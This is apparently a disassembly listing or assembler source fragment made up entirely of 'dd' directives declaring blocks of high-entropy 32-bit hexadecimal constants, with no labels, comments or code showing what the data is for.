dd 0DED9CDAh, 0B3F242F6h, 0F878A858h, 0E04BBAC9h, 7368B25Bh
dd 98B4D99h, 0E70D14C9h, 3527DEADh, 0EA1D1F7Bh, 94998612h
dd 259AFD19h, 6D0C26C4h, 0F2DDA661h, 8B1383A5h, 0DE45E327h
dd 2D3FB299h, 2F4A722Dh, 0A7FAED9Fh, 0D6094932h, 69207CEEh
dd 0A97491E5h, 0A3721A65h, 173F043h, 7DCB0480h, 58DFB83Ah
dd 9E88FF94h, 0EDD32C75h, 0F9C3212Fh, 6789B210h, 3EA4A198h
dd 77112232h, 1D51F08h, 4C75311Fh, 0BDF04936h, 39CB03E3h
dd 3A10D173h, 502A93ABh, 36C4F52Dh, 6443417Fh, 54E7101Ch
dd 50AFB1ACh, 0CC9398C4h, 9E215EC1h, 387041EEh, 6BD10D7Ch
dd 0B31F33AFh, 758B93B8h, 2864346Dh, 80FE9CA3h, 960DBE58h
dd 0F2A5CB99h, 711631C1h, 0AAE6BE4Bh, 2FB16CC3h, 42A72EACh
dd 0D64BE979h, 166128B0h, 0CEF12A7Ch, 9C99CBEAh, 66F8145Eh
dd 3ABF1D3Ah, 0E54321A3h, 193FCA2Dh, 0BC69AE81h, 1EE782D7h
dd 0B8D16F8Ah, 78924457h, 4EEBDCEh, 4717986Eh, 36D76ABh
dd 0FD14E1C9h, 85FBBD9h, 8A7A6E61h, 9EA4A37Eh, 111E6005h
dd 7659FC6Dh, 0DEC7D1A3h, 9F06994Ah, 8C08A016h, 7F1FA8DFh
dd 10493D75h, 0CE8F9E94h, 5E2CFE56h, 0AF2C2840h, 0EC3F95E2h
dd 0B37E3C3Ch, 3E20BC21h, 77F1118Fh, 36BEAD57h, 80BFDAE3h
dd 1365B54h, 0B79006CAh, 74C7BAF0h, 13D1EA1Dh, 497C4EA7h
dd 7FB2B00h, 4A5F3608h, 0AF8B0C71h, 9E1DE489h, 0C9ED8474h
dd 700BBAA5h, 47CCD823h, 737F787Fh, 2C62D33h, 44ACF5FFh
dd 0DFF7CACDh, 9DC8ACB4h, 5C55C517h, 0EDF9F5Fh, 0B07D4CFBh
dd 34839B88h, 41334C00h, 0E08EEBC4h, 0F74AC42Eh, 19D42FEBh
dd 4E790431h, 0A785FFCFh, 7FB15C23h, 19C973CCh, 0AF2AA022h
dd 680449EDh, 0FBF12B33h, 7F6984EDh, 0ED5D47B3h, 753C740Dh
dd 0C17321C2h, 6EAB891Dh, 0BA26CBFAh, 2880F4A1h, 9EF268BEh
dd 9B599A01h, 15AE11A2h, 2A215A1Bh, 0A4973B1h, 0C418FDD2h
dd 1B4E82C9h, 0E578157Eh, 8EA3890Eh, 6C9DF70Ah, 1F83A2ECh
dd 0F8649480h, 8A3ABB6Ah, 0C3453D29h, 5F658A97h, 0A325817h
dd 0D59D9B99h, 0FE1B615Ah, 0DD2BEADEh, 0C7E5862h, 8B0A7FDCh
dd 0D116B44Dh, 53EC0E9Bh, 0ADCD8D5Ah, 80A3F9A6h, 0D2D34A5Eh
dd 6B483D2Ch, 31C8ADB7h, 744B849h, 596864B6h, 2E927878h
dd 6373113Bh, 9AA45836h, 54CC6F81h, 0B6A76111h, 9A5DD3B0h
dd 3BF2C309h, 1D33701Ah, 46E73572h, 70BEBC9Eh, 0C881B9C0h
dd 0AA4F2DB4h, 38F4E0E5h, 6997EBFAh, 0B3691DFEh, 749BE398h
dd 204A3B1Dh, 9BE0B9ADh, 0F32FA44Dh, 0DED4AFE8h, 0D702ADC8h
dd 0E7E0EDE7h, 80B14C67h, 73A02DFCh, 2C4A295Eh, 56139AFh
dd 0E2F12C31h, 96BCE998h, 0F0732E44h, 561C74CDh, 861340C7h
dd 13C2EC7Fh, 0D122CBA7h, 18E7BCADh, 0A7D3639Bh, 6995A45h
dd 9D6E3DCFh, 3ED45C7Eh, 76501F94h, 0F78192A0h, 3743B3C8h
dd 0E21A3377h, 0F9CE8511h, 22114E6Bh, 7ADD4878h, 0B1457425h
dd 992A9764h, 0F6500307h, 1E0FE38Ah, 22550E13h, 0CB96B885h
dd 450FE05Eh, 4845CF4Ah, 405A5050h, 0F168FB99h, 0C207B141h
dd 5FF40EAEh, 0A3CA835Fh, 0E3CD8987h, 36216D33h, 190300CDh
dd 0F523B37Bh, 2231EA5Dh, 0A148518Eh, 7DF51779h, 94385F76h
dd 8AC67813h, 0BA28F19Ch, 6C7D2264h, 9C5AF7A1h, 0A66C4003h
dd 66477D7Fh, 2CE21734h, 70CCD7CDh, 0D7B2A7CDh, 84AEFBC0h
dd 4CD42062h, 73679ADFh, 0DC6F3CCFh, 55E08E8Bh, 183B5430h
dd 87EB8782h, 9729B65Eh, 7EB65694h, 0AC1FF04Ch, 0AECF927h
dd 10C35917h, 3EC963ECh, 0DD782C37h, 13612196h, 0AC9C4463h
dd 152FF6AEh, 3C8922DEh, 3F7C11E0h, 41F66682h, 1C1AFD2Eh
dd 647EBEBEh, 3A1B92C7h, 0ECAF27E9h, 973CDC55h, 0EC7B98A3h
dd 9F85386Bh, 714AA4F8h, 35FA2FE3h, 3143A0C9h, 0D5170B60h
dd 0F8C99C0Dh, 3380DE6Bh, 7F0C25E4h, 0D06D3E74h, 82D3CA2Ah
dd 0DF2148E7h, 7F4B9352h, 265A2001h, 0C98386B8h, 0B16E053Ah
dd 7C2148E3h, 25491AF3h, 4F63F0FDh, 2007BE5Fh, 46F101BDh
dd 3CBE955Fh, 0FBFA0E8h, 0D9BD6B55h, 13C90644h, 0FF08BA3Fh
dd 16F39E2Eh, 8002459Ch, 298A780Dh, 0A5422D23h, 944D6019h
dd 546A6C83h, 877B610h, 0C05D04ADh, 0C334BC06h, 0D56131Ah
dd 1A854972h, 47BBCCBFh, 0D69626E7h, 0BB4FEAB4h, 384710F2h
dd 745EA77Bh, 0B349F83Fh, 756BEFF8h, 2264264Dh, 85EB9D9Eh
dd 81399941h, 0F5B4E602h, 71132817h, 15845F6Eh, 49F75836h
dd 1E990E88h, 0CD5F3A3Fh, 7C045795h, 2B947C36h, 5380CC8Bh
dd 359D4657h, 5B39274Dh, 62E74F27h, 61ACF0Bh, 2B0ACBB7h
dd 7A76F4D5h, 0AB2C27A7h, 7EB92817h, 4ACFBDDCh, 0BF957D22h
dd 3557D3F4h, 4F9462A6h, 0ED39CAADh, 0F2756612h, 1BC96C7Eh
dd 5C75596Bh, 6628AF08h
dd 0B50544C0h, 0F9AFA7A4h, 8D294417h, 1E8799BFh, 42F4452Bh
dd 0A7D5E9D9h, 319985A1h, 0C85C4F94h, 6C3354BDh, 120BAF8Dh
dd 0FB72A83Bh, 6498F7C9h, 0DEBF2438h, 79CD85E9h, 94533930h
dd 0DE67DBDh, 8806C392h, 3DA1D5ADh, 92C960B2h, 0D7E1E35h
dd 0AD2428FEh, 6A4F808Ah, 4A221BB8h, 4D4B3533h, 0B91F8F8Dh
dd 0D255A81Ah, 631E8368h, 0BFB3E150h, 71FE49C5h, 4FCB9B9Ch
dd 0F5FE0783h, 0E5660326h, 586DD46Dh, 0ED649h, 575189FAh
dd 2491D592h, 3FF47906h, 6C5C0074h, 27E91E4Dh, 0C6A378h
dd 0AC7C4C59h, 64AFC669h, 6100FAD9h, 6C32D069h, 0C60811C7h
dd 10F70F36h, 615AB7DDh, 0AC6FAB80h, 9D8F3E3Fh, 0DB819D70h
dd 4EF89A6Fh, 5F4597E9h, 0DA9B7B62h, 130E8E56h, 1A827845h
dd 0F7F88EDFh, 0FDA39499h, 6A6C8304h, 23A1B6F0h, 0F50D148Ah
dd 8E41E55Fh, 0C5FC4446h, 6AC04759h, 6BDDC1BEh, 0F6D0D0B4h
dd 6FAA77B1h, 0A4665831h, 2E239370h, 5182F49Fh, 0E20DFFA0h
dd 0D9B328B9h, 0C1EE43BEh, 4E4F21BEh, 141249BDh, 0FA418205h
dd 4FAD1CF4h, 0A3867D04h, 0F9F2F4D4h, 7CE9490Dh, 0D019FC10h
dd 1D18E4ECh, 0FDDF1683h, 0C0DEF8ACh, 50C2610Dh, 0B1D25B43h
dd 126F78CCh, 0BD02398h, 37529141h, 9D105A47h, 256ADFCh
dd 561A0E1Fh, 0CCB7465Dh, 0CFB96C5h, 0B2CF859Ah, 5F7A3A87h
dd 0D5A1F2A1h, 0B54A00ABh, 7AFA962Eh, 144DEEEEh, 8B1979AEh
dd 0A536AD8Eh, 0D33995B6h, 0E71CC42Ah, 1391436Ch, 9B1A892Ch
dd 0F3B3A96Fh, 220126D7h, 21008462h, 7F3F32D0h, 0E7C28D00h
dd 0DED063D9h, 0AD2AC105h, 6DAA0FFAh, 399B7414h, 19FA4C75h
dd 71CA959Ah, 0F0D26CA5h, 2DAB83Bh, 0B098F77Dh, 2DFBE95Dh
dd 0D4AB4AD6h, 9C63062Bh, 0BBABA2CDh, 1101778Eh, 0CE4CB556h
dd 0B6F15449h, 8A4F2655h, 0F8928E31h, 68FF127Bh, 0B3B5C0DEh
dd 0AAE3E50Dh, 8657275h, 92636118h, 0C218A165h, 963B17D8h
dd 8C2B6B8Eh, 45AD4AB6h, 0F31D34B9h, 84387100h, 3CB16AF7h
dd 39891E05h, 16F2C8D5h, 4468F70Ch, 4C5B9891h, 4BFDA42Eh
dd 0EACD34E1h, 82D45F9Eh, 167B0A88h, 7CADAA3Bh, 2884CFE3h
dd 0D6CE6DE7h, 99561984h, 0AC19B62Fh, 0A05F89C3h, 871EAF1Dh
dd 0B6BCCB53h, 80F1AFCDh, 19C5F090h, 76CE038Ch, 81D40854h
dd 0A89FF5DFh, 45EC820Bh, 1BC3B698h, 39DB3AA0h, 3E52620Ch
dd 96B1D8F2h, 6A421C0Ch, 517A031Bh, 5E0B9363h, 9DBD3C4Ch
dd 4702DBC2h, 7906751Ch, 0E73CA9D8h, 0BBC7C302h, 27556EDDh
dd 0D0EFF480h, 0E6CF13BFh, 39619330h, 41E9750Eh, 7D4DEB59h
dd 101F8BCAh, 26B0A202h, 5D632BFFh, 2A294C12h, 0F38C06FFh
dd 411FDE51h, 66BFD2C9h, 0E800CA87h, 440AC59h, 42FDA945h
dd 54C13A58h, 855BC1BFh, 3B91BE35h, 0A4A82F1h, 7B40D13h
dd 5A869462h, 3E7BC7EAh, 9F6069h, 79F1C8D7h, 25472F00h
dd 8CAFB67Bh, 9B093DD4h, 3ED11Ah, 0A2BDD2C5h, 4D839E03h
dd 83F9E6D8h, 24E2DC04h, 2B90171Bh, 0D1D61265h, 0F7F6A3CAh
dd 5CA6C605h, 0D46DCBDAh, 64A9960Dh, 328FCBE7h, 8B44D264h
dd 0A91F5CC9h, 383CF204h, 13A8D2D4h, 711AC02h, 0F6BF4268h
dd 0FF544CAh, 36CC4E97h, 7375B88Ah, 1F2E0FAEh, 2085B824h
dd 0D257C8E1h, 93313B82h, 0BCCD8AB2h, 0BF57E43Bh, 0F122A1F7h
dd 36842C01h, 0B756F492h, 273004A8h, 5F484926h, 0FB108FFFh
dd 0EC056619h, 6F3336D2h, 3CC9C70Eh, 0DEDB20D0h, 0A5A1490Eh
dd 7FE08870h, 477E10DFh, 0F9EFFE10h, 147174Fh, 771319D8h
dd 8BBE6631h, 0D8F14E7Dh, 0EC6410D8h, 0E7613111h, 8002E34Ch
dd 3BC0CDBh, 0FD0FA8F0h, 3949831Ch, 3BF18C69h, 0B34B5240h
dd 0EC10AF4Dh, 9CBAD2B2h, 0FF50653Dh, 35B68178h, 90880A58h
dd 5A4C59E8h, 0F729EF07h, 868784E5h, 0C6617186h, 8DB9A73Ch
dd 6907E9F2h, 0E7BCFF6Ch, 8779EDCAh, 6AA77A01h, 908841DCh
dd 13FC1803h, 2F187E9Eh, 1B947BA1h, 3A13EC2Eh, 1DB26CF1h
dd 0D066C1D2h, 0F2AD9809h, 0A82F1E9h, 0E1CD22E4h, 0F8D05600h
dd 6F5DC4E9h, 0E7B937A5h, 1F08150Bh, 24B262EDh, 0ABF3A504h
dd 27CD16F0h, 0FDF50599h, 776F9897h, 0A1E59DA8h, 3C473DA7h
dd 9039AFA1h, 17C917C3h, 52549632h, 68A04DF2h, 0EC6B902h
dd 2737AE12h, 48213BE9h, 60468007h, 7A921FE9h, 1540EA07h
dd 0F317B2E9h, 92C19807h, 0D1D4E7D6h, 4B23CC88h, 0CE244E36h
dd 62756F9h, 96180D26h, 0D8596341h, 5B1EDADDh, 0EFBAF631h
dd 0AD726DFEh, 75A6629Ah, 31425933h, 1E30097Eh, 0AB4792D1h
dd 14103477h, 0AF4464DDh, 12F3000Bh, 92C84C73h, 0E7D31446h
dd 3F586435h, 2962CA7Dh, 778C4959h, 8D76F24Bh, 4B6F71F2h
dd 7795DA16h, 0F77A59D4h, 668CC00Ah, 2F846EF1h, 52728A1Fh
dd 2B2E4771h, 71391ADCh, 0FC48CD73h, 1F9768DDh, 0A4FBD40Bh
dd 0CE926C11h, 405A68ECh, 1838E702h, 0BC8F14EDh, 0DC1642A2h
dd 97B9D70Dh, 1E8BA2ECh, 944AFF62h, 0DFA98F46h, 0F9444A90h
dd 608F568Ch, 0D309E43Ah, 0AFBFFA68h, 0D3F8F34Fh, 0EBC778D8h
dd 787839E0h, 0B1A4CC95h, 0A6CEB227h, 543C1D6Eh, 2E29B14Bh
dd 21CDFCDBh, 0B5BDE23h, 0FE2836C7h, 0D7089E02h, 6A1EA29Bh
dd 44DFE624h, 305164E9h, 17116096h, 0C285370Dh, 0A27579EEh
dd 6B330607h, 70CFCBD3h, 1DADD809h, 0C63CEF6h, 8C07C998h
dd 0F3090937h, 4151CD78h, 0D51C00D7h, 63BE6531h, 0A4F7EB7Bh
dd 3CEF475Dh, 0BE255B55h, 0C3278D69h, 0D648C0AEh, 0B21766BCh
dd 4746CABBh, 77F0E138h, 0E947607Ah, 5D93E542h, 0B278C8B7h
dd 37736DBCh, 3A8401B9h, 5F73533Ah, 0F46C86FBh, 491AEB13h
dd 873B89D6h, 80ACE58Dh, 0B59422B2h, 0F5FBCD3Eh, 85692741h
dd 0D0D8A3D7h, 0A45C3F74h, 689D9ADCh, 0BDFCBD09h, 0C010ED91h
dd 61144F2Dh, 0DE58B163h, 999EB0DCh, 0AF1F26ABh, 0CBE8A08h
dd 0AD8936EAh, 85C94AE1h, 8E518687h, 79BACAFh, 53809C82h
dd 957E69BDh, 0D193D16Ch, 44C6715Ah, 0D9C6CDABh, 2CF842A9h
dd 0F7E56BB1h, 2128A4B4h, 6A2DB836h, 236376h, 0A7CA6DD6h
dd 295BFD29h, 0A0AEE6C1h, 0D14F6A06h, 0D8F8111Ch, 1ECF1464h
dd 8ED97FC9h, 20D59886h, 88EA0938h, 70F72BEFh, 3AE6420Dh
dd 0AAEFF8DEh, 4517F485h, 0FC963BBAh, 971743B4h, 6034DB4Bh
dd 0A4A4447Ch, 0E60CB3DFh, 7EBC8E3Fh, 437A8EF6h, 4023FF11h
dd 7E086979h, 0E9DB5414h, 3E5DC06Bh, 97106CD5h, 5D4B9A82h
dd 0A7FABDBAh, 75CC2AB5h, 4256C0ABh, 5D1C41A3h, 3A86B1A0h
dd 9D9A89A0h, 0B079CB42h, 0D76C0DF2h, 0EB9C8D12h, 23FC93D2h
dd 3BCAA10Ah, 0B0627175h, 0C4A2A85Fh, 59841E50h, 0C7CFBDAEh
dd 0D2D51338h, 4ED93EFAh, 0D5DF3E1Ah, 871E0C69h, 3E1C5120h
dd 75627FDBh, 0A8A218E2h, 141211A5h, 82B21706h, 888651E6h
dd 5E464D6Eh, 0BF1EA3C8h, 3B48880h, 4B9F941Dh, 0C4F8BFEAh
dd 6D668A11h, 80D50A65h, 83B03723h, 0CDE0616Ch, 0F7EB4752h
dd 62C3047h, 7E2EA23Ch, 0F321F470h, 0E7CB89D5h, 6C59B724h
dd 0EC2F5BC4h, 0AE8ED504h, 0ABDEAC9Ah, 8F7F8AA4h, 6A20B7A8h
dd 61C853B7h, 0CEE555B1h, 766F5E2Ah, 0D7A9A56Ch, 898BE4CFh
dd 39048CBEh, 679F26B7h, 901EC6B3h, 0CD38C446h, 59A97373h
dd 2901E6D1h, 0D5B21331h, 3FF46078h, 6E6DDFDFh, 66E66397h
dd 15C4B40Ah, 0EADA157Ch, 0ED5A53C6h, 88675BB2h, 0A5FB4B3Bh
dd 0C6C8DEFFh, 0A9513A85h
dd 6F1A6797h, 0D8A01C01h, 1FA1339Dh, 0AE706548h, 6862ACFDh
dd 0DD13AD1Dh, 6B0BADEh, 0E0E76786h, 4A7EE138h, 73A14D74h
dd 7C846D2Bh, 0B8C9A362h, 505281D9h, 0E51E138Ch, 6D39BA17h
dd 0D328216Bh, 0F9226024h, 4B240661h, 0DB8661DBh, 0EE19A1AEh
dd 0FFB86A0Ch, 0C48DEAEDh, 0A9CD92E5h, 0B2D5AC03h, 0CFD8376Bh
dd 0F6309E1h, 49AD5BEEh, 1A06D618h, 75CF556Bh, 11B537A0h
dd 0C5EB2D27h, 92E6B57Eh, 4123615Bh, 0D624CD49h, 971340EEh
dd 87F89BE4h, 0B95A9926h, 60AF85C4h, 48CE5A04h, 0EBBEA81Bh
dd 3F6EA0E4h, 5C2A4C8Ah, 0EBCE2225h, 4AE45AEAh, 43E3DD19h
dd 7C67646Fh, 6AA76DCAh, 817F2EB1h, 8D8DD7BFh, 9D177EB8h
dd 403B4F43h, 8EADC276h, 5E04C1D4h, 0DFBBB337h, 60720EFEh
dd 5EABA899h, 0D8C1A9B1h, 273023Dh, 831B35FDh, 907F67FBh
dd 5160EFB9h, 0A50B8AB3h, 6ADD5535h, 8E5C3FEBh, 1A1E5882h
dd 0D2990090h, 4C985BA8h, 0CC787C45h, 66C09F0h, 69D0913h
dd 9B7D28D3h, 0ED0B9F0Bh, 0DF4556F3h, 71930E9Eh, 47DAF31h
dd 5EEF3382h, 3DEA86FDh, 8657BFFBh, 0E8127713h, 3A33D867h
dd 0FE27FB2Ch, 51A4F8Bh, 5FBE10E1h, 2D1C0BA4h, 0F7B30606h
dd 89B6B636h, 0ED76F05Fh, 529DED4Ch, 8BF07744h, 0D97B1AF9h
dd 0EDADEA9Eh, 8A0BD01Ch, 0CCC4F764h, 0F2BF6A28h, 28E212EEh
dd 98EC5214h, 0E429B060h, 5E2F234Ah, 4B27CC7Eh, 1BCC23D6h
dd 0D45E0421h, 62867C2h, 0B109F203h, 0B59E649Bh, 0D21F5924h
dd 4530D768h, 56C016D7h, 0DE164E1h, 0C26CB113h, 0F3297163h
dd 0CB4E49CBh, 3F66B7BFh, 0FC8D8EB4h, 161BD8B0h, 0ED31934Bh
dd 29A21A7Eh, 1D0DFADCh, 0EAB0B03Ch, 0AEF90F75h, 0EEE03E52h
dd 0F5ABFCDAh, 72692127h, 0BF265F40h, 214E1AC2h, 98675CBAh
dd 0D80D5935h, 23D8B971h, 125119CAh, 0A7129BFEh, 0FC951094h
dd 1B9477A0h, 3377E44Bh, 0C063A1FEh, 8C13D51Ch, 0FA33D9DDh
dd 1725D785h, 815C92BAh, 6D937CB7h, 0C271A509h, 47D8CF7Fh
dd 695382CFh, 0A1905AFFh, 0E0764216h, 0ABC73C63h, 0B63C4D28h
dd 35207B6Dh, 7F8E20D7h, 611B31A2h, 0B9B5D100h, 0B8813BE0h
dd 85C0C4E8h, 0E65F2D8Eh, 0D31D2B28h, 0A5466EC4h, 8198889Bh
dd 167AB515h, 60D7536Bh, 0CEB3CEA6h, 44EF36A2h, 24E13639h
dd 0F824B47Dh, 0AA22D75Fh, 5B2A204Fh, 85C1CBD6h, 0C753AE2Dh
dd 0FBA5C2CFh, 7D44560Eh, 0E0761816h, 8E07156Ch, 5308B40h
dd 14CC5ACFh, 0C8EB5891h, 0CADEB516h, 83DDFDA0h, 975B1DFFh
dd 935343BAh, 7C700AB1h, 6603A0B5h, 0B53BF74Fh, 0DA7647Ah
dd 0C309ABD8h, 1BB4A038h, 5E7C1FF1h, 6924DE16h, 758F74FEh
dd 0F21DAD53h, 3F3ADD4Ch, 894541C2h, 5866FBBFh, 680140B6h
dd 0DBD54DBCh, 0F2522526h, 0B71EFBE2h, 4990080h, 1F987FD0h
dd 5D7A6809h, 896FB3D5h, 9CA61E3Ah, 3C60CD1h, 0C7700B3Ch
dd 60997649h, 11BE90E3h, 7848512Ch, 0A4EB3372h, 7EE486F5h
dd 0C9E6D6CFh, 7C619623h, 55E14054h, 0BF02791Eh, 75925F5Bh
dd 4E7A08E1h, 3D0E0B94h, 0F3741436h, 0EFAF37D6h, 0DC7AB05Eh
dd 1A2FF1F8h, 0D7055330h, 0A96FE2EDh, 95A85ABAh, 0A47CE10h
dd 44EC645Ch, 6285EF1Eh, 30D79A5Bh, 78D84CE0h, 0AC1DDB34h
dd 0FE1C6E6Eh, 0B1368F2h, 0DFF8972Dh, 226ACC73h, 571CD5E5h
dd 29BD274Eh, 746AB8E3h, 2A0BBDB6h, 3EF43B0Fh, 6AECE2FAh
dd 2FD998A9h, 3D5FB528h, 6B9D7D50h, 0AF3BDDFCh, 7D726B8Bh
dd 0B48CA81h, 3FB6E484h, 0E148AF7Eh, 6FB53A4Bh, 5837BCE9h
dd 0A40D4309h, 0F6099A40h, 897742E7h, 9DA9682Fh, 225C572h
dd 0C70F6F65h, 0A175448Fh, 1057A783h, 483E4C06h, 3BEDE9C7h
dd 726B673Eh, 2F2768EBh, 0BCA0D5B1h, 0ABA1CF6Dh, 8F43A2F2h
dd 0A56668Dh, 0C3261E0Ah, 63860C59h, 0D7500B78h, 7889766Bh
dd 95B690D0h, 0BE4C5125h, 85E93376h, 0E6786F7h, 412156CEh
dd 0F281D623h, 0F8CC050Bh, 94E21438h, 0CBA7DB29h, 0E51A5694h
dd 10F883DFh, 0BAF2392Bh, 0CA679BB6h, 0D279912Fh, 66821FD5h
dd 668A1152h, 0E3D3B123h, 243E52AFh, 0C73DA7BCh, 0AC768A65h
dd 0DCF7655Dh, 166A03A1h, 25A70F8Fh, 98504935h, 123180C6h
dd 0F6F346E5h, 7ED174C1h, 0D596DABAh, 7EFC7E5Ah, 234468B0h
dd 8D46AA2Dh, 4D1F67BFh, 4DEC14BDh, 0CC11B00Dh, 11B8D06Dh
dd 91BAF303h, 6DEAFE62h, 22333217h, 403E0173h, 90A39EE9h
dd 4EC78BA2h, 0DF4F2263h, 457F6E40h, 0BB411D68h, 0A9F25510h
dd 90A93F32h, 8D1D5F3Dh, 7CE38CCh, 0FE86A44Ch, 0ABCEEFB5h
dd 0CC8AFE9Fh, 591454FBh, 0BED57C30h, 436D77BBh, 7A7B64Ah
dd 76F5B924h, 0E58964EDh, 0E6BB1C7h, 0E79EEB51h, 2C2A4701h
dd 0DD48EB92h, 0E68CE83Dh, 1E9242B9h, 0CF02C483h, 0F200CB78h
dd 0A017A9C6h, 87BDE1F1h, 87EDFCCAh, 864DAAEh, 484F11D5h
dd 0B888D74Ah, 41648EAh, 53411F86h, 0F3FB3C9h, 61ED4111h
dd 0B864A523h, 0E4691D41h, 29C78A4Ch, 0A9AEC6F8h, 0AD258Bh
dd 364BD430h, 48A2188Dh, 7E782931h, 0EB058BC0h, 0A74BBEBEh
dd 92CA585h, 59AEB610h, 582E6F03h, 3E35CE5Ch, 471380BAh
dd 8AAB858Dh, 164596A3h, 1C59318Dh, 2274C298h, 0A75C6FB3h
dd 0F16D24C7h, 88A89DDDh, 0A165A8Dh, 22FEF280h, 0A0499662h
dd 22B7FC00h, 0C88D64DAh, 9D998A43h, 9D28CD30h, 62EE87DAh
dd 506CF5Eh, 0E70B5305h, 243DE78Fh, 5172BA94h, 0EED3AD63h
dd 5AD60B9h, 0B7A263B3h, 0A29E7663h, 6754D326h, 8F9F3528h
dd 3C9673CAh, 0A8AB8220h, 532E4B07h, 104F14B2h, 0A8D7F882h
dd 6703ECECh, 469C340h, 8AB7EAB6h, 0BA50E64Bh, 6703F888h
dd 0E680E9A1h, 0E4015FAEh, 0F650A66Bh, 66099943h, 221B511Dh
dd 0F6FAA77Fh, 0D4AD497Ch, 53F5176Ch, 249123FAh, 1BB5609Ah
dd 7A47599h, 0E1EFEA43h, 9A0A16B2h, 3B98E015h, 6E79E9B3h
dd 3BFB1D29h, 785864E5h, 7D47E47Fh, 0E3C690F2h, 0AF8CAAB0h
dd 0B0A6690Bh, 7AD09CA6h, 0E8D392ACh, 20EDD15Ch, 635ED12Dh
dd 4BD02D8Eh, 4BBE3635h, 0A823E0CBh, 7A5D2800h, 12A65673h
dd 9C9D070Eh, 0B866665Fh, 6A92D9AEh, 2D611C81h, 0B97CF69Ch
dd 62444CB0h, 0E7855165h, 30F48A07h, 0A4FCE31Dh, 0E4C117BDh
dd 0A03593F5h, 0BCB8B1EFh, 0F8BF6B6Ah, 8F605E1Bh, 207D5034h
dd 0EA1EF2BFh, 95C173B8h, 6324A3DFh, 0E95F4D7Dh, 495CBDDEh
dd 0D2535554h, 15699AF4h, 4CA6D7DBh, 22647EBFh, 44289B3Ch
dd 0C3F7EDC6h, 43B695D8h, 0EF669637h, 20293C18h, 0E9597A25h
dd 0C42145D4h, 151C2669h, 0B32F5653h, 0B3F9835Dh, 42FD85C4h
dd 3FE0C892h, 0DCA538C9h, 33C82717h, 0BD5E9380h, 636E8D36h
dd 67960CA6h, 64D1FA90h, 8986EA90h, 69C41249h, 0C40D35D8h
dd 0D44256BDh, 99FAC1D6h, 3507DEACh, 9B435AEBh, 5A01F849h
dd 99334A6Ch, 215A56A2h, 0F5352438h, 3025810Ah, 0D350379Bh
dd 33B3057Ch, 0BD702B66h, 7249D47Dh, 37500D05h, 7EA74AF4h
dd 9CBCB674h, 0FC9839C9h, 595F4028h, 1C2588D6h, 8BF77D52h
dd 3B6D10A4h, 91BBB0C9h, 6148DB2Eh, 1FFA95CBh, 0D9C4D677h
dd 928BCF12h, 41EC0ED3h, 61CCE0CFh, 4D0A41FBh, 0FCEAD7B6h
dd 0E512D5E6h, 5FFDD16Eh, 35DF941h, 0B5ED1501h, 0E862204Dh
dd 0E3B78295h, 63027797h, 5AD57504h, 152F86BDh, 97F98EEBh
dd 0BE521052h, 0DAD4F449h, 0E027B06Ah, 6F36E62Eh, 0B76E2188h
dd 0C3ED65E3h, 2166BF6Fh
dd 95B7C2FCh, 883FF28Ah, 2843EA43h, 4CF37EFAh, 0D3E58B8Bh
dd 9EC71792h, 94CBF359h, 4897859Eh, 80532E02h, 654ADF71h
dd 2ABDBF7Eh, 8C488494h, 0C2DF0497h, 11784E5Bh, 24FE6648h
dd 0B98E668Ch, 5C84A9E7h, 0FFCA0BF7h, 1EC28FD1h, 7A5ABC7Ch
dd 9C261AEEh, 38CA812Eh, 309A1909h, 0E13E435Fh, 13FFDF35h
dd 1427F3Bh, 56E046B2h, 4FFBFC67h, 0D7DF479Ch, 6F5687AAh
dd 25451004h, 20CFBAD1h, 0BA16E93Ah, 0B0510AF0h, 2ADF8AAAh
dd 32F64E8h, 0A33C1D6Dh, 4B392DD9h, 27D28C3Eh, 0DD693893h
dd 0E6D3F79Dh, 0DE2C8E6Ah, 793CBFE3h, 2817716h, 0E7DD716Ch
dd 0FC3D6AE8h, 7EF025F3h, 643A5929h, 70142B6Ch, 0F42EA0DAh
dd 0BDBC8746h, 8D5055B9h, 0C597EF82h, 0AD03DD62h, 2113E31Eh
dd 89FCF4A7h, 5613A883h, 2FB6A485h, 0D2DAFEA7h, 2C23A573h
dd 986B9B9Ah, 423626D6h, 0DA78BDD5h, 0B5462479h, 0B58ED465h
dd 27F4C220h, 0F0CB8C39h, 4E3CF318h, 0E1F7CBFCh, 8A86D21Fh
dd 0F9D31D94h, 0A40F8397h, 0BFA36D6Ch, 9EDC6AAFh, 7822AF4Eh
dd 0EF594B8Ch, 141C0362h, 0E777079h, 0D990B678h, 71A9A5B5h
dd 0CF2EC4AAh, 68FBFBCCh, 0AFA07DC6h, 0F9223673h, 42AE0632h
dd 0A21071CBh, 0BF561915h, 67A6B2FFh, 2291A767h, 2FC342DEh
dd 0BFB56D0Ch, 64C30BC2h, 0A875027Bh, 3A052137h, 30BA8C9Fh
dd 0AB099A02h, 0FF38CCE5h, 0A5140F63h, 8C3D6C02h, 0D980C88Fh
dd 0D707D821h, 7FD4331Bh, 0C9A70B56h, 4CDAEE21h, 4DA4A079h
dd 0AB00B9D7h, 17C27C34h, 98FEBA93h, 43458728h, 0D257FA23h
dd 2309A85Fh, 7A734EEFh, 1B4D1633h, 1646B2Bh, 0BAE4C774h
dd 0DDF1E7BFh, 2566645Fh, 8587DB8Fh, 0DE961EA3h, 2E4E08Eh
dd 0D38C6FF0h, 8A669E50h, 7CE2A4E6h, 0B23624C3h, 7313534Eh
dd 0C60A84F2h, 0F9BB05F4h, 6314D7B0h, 90A6390Fh, 0DBE11B9Fh
dd 0C7CA3828h, 73EB1962h, 899492Bh, 1007AEB4h, 8754590Eh
dd 0F9AF3434h, 8A6C7A4Bh, 0DF7DACABh, 0D5DB618h, 8C524E92h
dd 450BDDC5h, 0FF6B889Ch, 4788CA0Ch, 71728E44h, 0D52823E6h
dd 671CE476h, 0E9BCB9E4h, 3BE17563h, 30544914h, 0D0DE14Eh
dd 0A9C12302h, 21E941E2h, 548DD0A8h, 876C4045h, 0C1FDF889h
dd 850F4EF6h, 8EA5BB62h, 57032C07h, 3A7AFEBCh, 4DE213BCh
dd 0A0DA1F9Bh, 69ED5414h, 9DC273Dh, 2B4D29F3h, 0FBDF8AFBh
dd 6143E7AFh, 302C17FDh, 12EACE29h, 0D51E365Dh, 178EBE79h
dd 53B71C31h, 0A325657Eh, 70B4B4E9h, 8F9A0F82h, 71C8E797h
dd 0BB3F0ECCh, 92B41530h, 452337FFh, 0B31CA828h, 2BA8B4F3h
dd 30282BA2h, 46A69D29h, 4CFEBB39h, 0A1340339h, 88D00EECh
dd 8C72284Dh, 938E081Bh, 0D7BF51EEh, 0C7378606h, 0C30CB3C5h
